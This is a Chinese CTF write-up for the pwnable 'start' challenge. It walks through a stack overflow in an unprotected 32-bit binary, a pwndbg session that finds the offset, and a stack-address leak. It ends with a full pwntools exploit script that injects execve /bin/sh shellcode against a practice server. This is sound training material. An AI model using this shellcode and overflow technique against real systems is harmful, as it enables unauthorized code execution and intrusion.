pwnable_start

准备


32 位,什么保护都没开

分析

打开 ida 就看到 startexit 函数,具体信息只能看汇编

start函数


这里从标准输入读取 60 字节数据后,会跳转到 exit 函数退出程序,但这里没限制输入大小,所以存在栈溢出

思路:

这题保护全没开,有栈溢出,但输入完后会直接退出程序
所以我们可以用 shellcode 获得 shell,但我们要把返回地址改到 shellcode 的地址
先用 gdb 调试获得偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
motaly@motaly-VMware-Virtual-Platform:~$ gdb start
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from start...
(No debugging symbols found in start)
------- tip of the day (disable with set show-tips off) -------
Use the spray command to spray memory with cyclic pattern or specified value
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/motaly/start

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
Let's start the CTF:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x61616166 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
EAX 0x3c
EBX 0
ECX 0xffffc9f4 ◂— 0x61616161 ('aaaa')
EDX 0x3c
EDI 0
ESI 0
EBP 0
ESP 0xffffca0c ◂— 0x61616167 ('gaaa')
EIP 0x61616166 ('faaa')
──────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────
Invalid address 0x61616166










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffca0c ◂— 0x61616167 ('gaaa')
01:0004│ 0xffffca10 ◂— 0x61616168 ('haaa')
02:0008│ 0xffffca14 ◂— 0x61616169 ('iaaa')
03:000c│ 0xffffca18 ◂— 0x6161616a ('jaaa')
04:0010│ 0xffffca1c ◂— 0x6161616b ('kaaa')
05:0014│ 0xffffca20 ◂— 0x6161616c ('laaa')
06:0018│ 0xffffca24 ◂— 0x6161616d ('maaa')
07:001c│ 0xffffca28 ◂— 0x6161616e ('naaa')
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x61616166 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Undefined command: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab". Try "help".
pwndbg> cyclic -l 0x61616166
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20

偏移量为 20
用这个地址去泄露读取数据的起始地址

1
2
3
4
payload=b'a'*20+p32(0x8048087)
io.sendafter(b'CTF:',payload)
stack =u32(io.recv(4))
log.success('stack: '+hex(stack))

这里把栈顶地址压到 ecx 寄存器中,下面 read 函数第二个参数数据读取后存放的内存地址,是用 ecx 寄存器存储,所以这里是读取数据的起始地址
因为总共只能输入 60 个字节,偏移有 20 个字节,返回地址有 4 字节,最后只有 36 个字节空间写
所以要找一个 32 位短字节的 shellcode
把返回地址指向 shellcode

1
2
3
4
5
6
7
8
payload=b'a'*20+p32(0x8048087)
io.sendafter(b'CTF:',payload)
stack =u32(io.recv(4))
log.success('stack: '+hex(stack))

shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload=b'a'*20+p32(stack+20)+shellcode
io.send(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
io=remote('node5.buuoj.cn',26530)
# io= process('/home/motaly/start')


payload=b'a'*20+p32(0x8048087)
io.sendafter(b'CTF:',payload)
stack =u32(io.recv(4))
log.success('stack: '+hex(stack))

shellcode=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload=b'a'*20+p32(stack+20)+shellcode
io.send(payload)
io.interactive()